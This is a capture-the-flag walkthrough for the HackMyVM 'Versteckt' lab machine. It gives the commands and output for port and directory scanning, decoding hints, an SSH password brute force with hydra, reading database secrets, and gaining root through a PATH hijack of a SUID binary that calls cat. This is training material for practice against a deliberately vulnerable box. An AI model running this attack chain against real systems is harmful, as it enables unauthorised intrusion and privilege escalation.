Hackmyvm Versteckt Walkthrough

https://downloads.hackmyvm.eu/versteckt.zip

Scan ports.

 nmap -sV -sC -p- -oN port.log 192.168.56.100
 Nmap scan report for 192.168.56.100
 Host is up (0.0020s latency).
 Not shown: 65533 closed tcp ports (conn-refused)
 PORT      STATE SERVICE VERSION
 80/tcp    open  http    Apache httpd 2.4.51 ((Debian))
 |_http-title: Index of /
 |_http-server-header: Apache/2.4.51 (Debian)
 22334/tcp open  ssh     OpenSSH 8.4p1 Debian 5 (protocol 2.0)
 | ssh-hostkey:
 |   3072 7b:c0:c0:c9:62:10:2f:67:ac:8d:d9:e5:88:26:15:93 (RSA)
 |   256 59:73:c6:ce:52:8e:11:47:ba:9b:b1:51:41:3c:fa:18 (ECDSA)
 |_  256 b4:e1:e1:f1:95:bb:b5:23:7e:2e:80:27:4a:a1:c7:ee (ED25519)
 Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Scan port 80.

 /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x .html,.php,.txt,.css,.js -b 401,403,404,500 --wildcard -o 80.log
 /index.html           (Status: 200) [Size: 559]
 /icons                (Status: 301) [Size: 316] [--> http://192.168.56.100/icons/]
 /robots.txt           (Status: 200) [Size: 64]

Check root page, we can find a word looks like a username. This is important.




Check robots.txt.

 ~/D/ver $cat robots.txt
 Sierra Three Charlie Romeo Three Tango Zulu Zero November Three

We can make a string from the hints of robots.txt.

 s3cr3tz0n3

Check port 80 again. The hint is music.


Add .wav extent and scan port 80 again. We found audio.wav.

 ~/D/ver $gobuster dir -u http://192.168.56.100/s3cr3tz0n3/ -t 20 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x .htm,.html,.php,.txt,.wav -b 401,403,404,500 --wildcard
 ...
 ===============================================================
 /index.html           (Status: 200) [Size: 1128]
 /audio.wav            (Status: 200) [Size: 179972]

Check audio.wav online, we notice a new hint.

https://morsecode.world/international/decoder/audio-decoder-adaptive.html

Check new folder again, we can get some  string.


Generate a dic from these text use cewl and bruteforce ssh.

 ~/D/ver $hydra -l marcus  -P dict.txt  -f 192.168.56.100 -s 22334 -t 32 ssh
 ..
 [DATA] attacking ssh://192.168.56.100:22334/
 [22334][ssh] host: 192.168.56.100   login: marcus   password: xxxxx
 [STATUS] attack finished for 192.168.56.100 (valid pair found)
 1 of 1 target successfully completed, 1 valid password found
 Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-01-23 16:17:01

Log in ssh as user marcus.

 ~/D/ver $ssh marcus@192.168.56.100 -p 22334                                               ...
 marcus@versteckt:~$ id
 uid=1000(marcus) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)

There are 17 users.

 marcus@versteckt:~$ ls -la /home
 total 80
 drwxr-xr-x 20 root      root      4096 Nov 27 03:40 .
 drwxr-xr-x 18 root      root      4096 Nov 22 06:41 ..
 ...
 drwxrwx---  2 sophia    sophia    4096 Nov 27 03:40 sophia
 drwxrwx---  2 williams  williams  4096 Nov 27 03:40 williams

Check ports, mysql is running.

 marcus@versteckt:~$ ss -ntlp
 State                    Recv-Q                   Send-QLocal Address:Port                                      Peer Address:PortProcess                  
 LISTEN                   0                        128                                              0.0.0.0:22334                                          0.0.0.0:*
 LISTEN                   0                        80                                             127.0.0.1:3306                                           0.0.0.0:*
 LISTEN                   0                        511                                                    *:80                                                   *:*
 LISTEN                   0                        128                                                 [::]:22334                                             [::]:*

Log in sql as user marcus and get some info.

 MariaDB [(none)]> show databases;
 +--------------------+
 | Database           |
 +--------------------+
 | information_schema |
 | versteckt          |
 +--------------------+  
 ariaDB [(none)]> use versteckt                                                          
 MariaDB [versteckt]> show tables;
 +---------------------+
 | Tables_in_versteckt |
 +---------------------+
 | secret              |
 | secret2             |
 | users               |
 +---------------------+      
 MariaDB [versteckt]> select * from secret;
 +--------+---------------+
 | secret | contact       |
 +--------+---------------+
 | 1      | KkaFj6t5Iv14S |
 | 2      | fOoj4bhIvCBS  |
 ...
 ariaDB [versteckt]> select * from secret2;
 +--------+------------------+
 | secret | contact          |
 +--------+------------------+
 | 1      | 5HJ5fanYWal      |
 | 2      | dHJ5IGFnYWl      |  
 ...
 MariaDB [versteckt]> select * from users;
 +--------+-----------+
 | iduser | username  |
 +--------+-----------+
 | 1      | Liam      |
 | 2      | Olivia    |
 ...

The strings in table secret and secret2 look like base64. So we concat two strings from these two tables and do  base64 decode, there is only one string can be decoded correctly.

 $./decode.sh 
 *Fy"xKaf|#H Rtry agaibase64: invalid input
 H䬦@9#qn/9M
           haVnop trbase64: invalid input
 *v_h\HYZ[base64: invalid input
 G/]n8YlZ[base64: invalid input
 nxZZ[Gbase64: invalid input
 xZZ[GZ܍vbase64: invalid input
 8YlZinږ~base64: invalid input
 XXXXXXXXXXXXXX
 HYZ[lۄulPZnop tr{۝\pXBbase64: invalid input
 6,#q8m䁅@9#qain hehehe
 try agaiX\Zbase64: invalid input
 ry}Yfafsafafafb
 base64: invalid input

The order of the string is 11. So we can get the 11th user name is benjamin and the password. Escalate to user benjamin.

 marcus@versteckt:~$ su benjamin
 Password:
 $ id
 uid=1011(benjamin) gid=1011(benjamin) groups=1011(benjamin)

Switch to bash, search SUID file.

 marcus@versteckt:~$ su benjamin
 Password:
 $ id
 uid=1011(benjamin) gid=1011(benjamin) groups=1011(benjamin)
 $ bash
 benjamin@versteckt:/home/marcus$ find / -perm -u=s 2>/dev/null
 /usr/lib/openssh/ssh-keysign
 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
 /usr/bin/newgrp
 /usr/bin/gpasswd
 /usr/bin/chfn
 /usr/bin/mount
 /usr/bin/umount
 /usr/bin/sudo
 /usr/bin/chsn
 /usr/bin/su
 /usr/bin/passwd
 /usr/bin/chsh

There is a strange file chsn. Run it (or you can decompile it), we get error message. The message shows it calls cat with not path.

 benjamin@versteckt:/home/marcus$ /usr/bin/chsn
 cat: /tmp/proc.txt: No such file or directory

So we write shell code into a file named cat, and create an empty file /tmp/proc.txt. Then add cat to the first place in var $PATH.

 benjamin@versteckt:~$ echo "bash" > cat
 benjamin@versteckt:~$ chmod +x cat
 benjamin@versteckt:~$ touch /tmp/proc.txt
 benjamin@versteckt:~$ export PATH=/home/benjamin:$PATH
 benjamin@versteckt:~$ echo $PATH
 /home/benjamin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
 PATH=/home/benjamin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

Run chsn, we get root finally.

 benjamin@versteckt:~$ /usr/bin/chsn
 root@versteckt:~# id;hostname
 uid=0(root) gid=0(root) groups=0(root),1011(benjamin)
 versteckt




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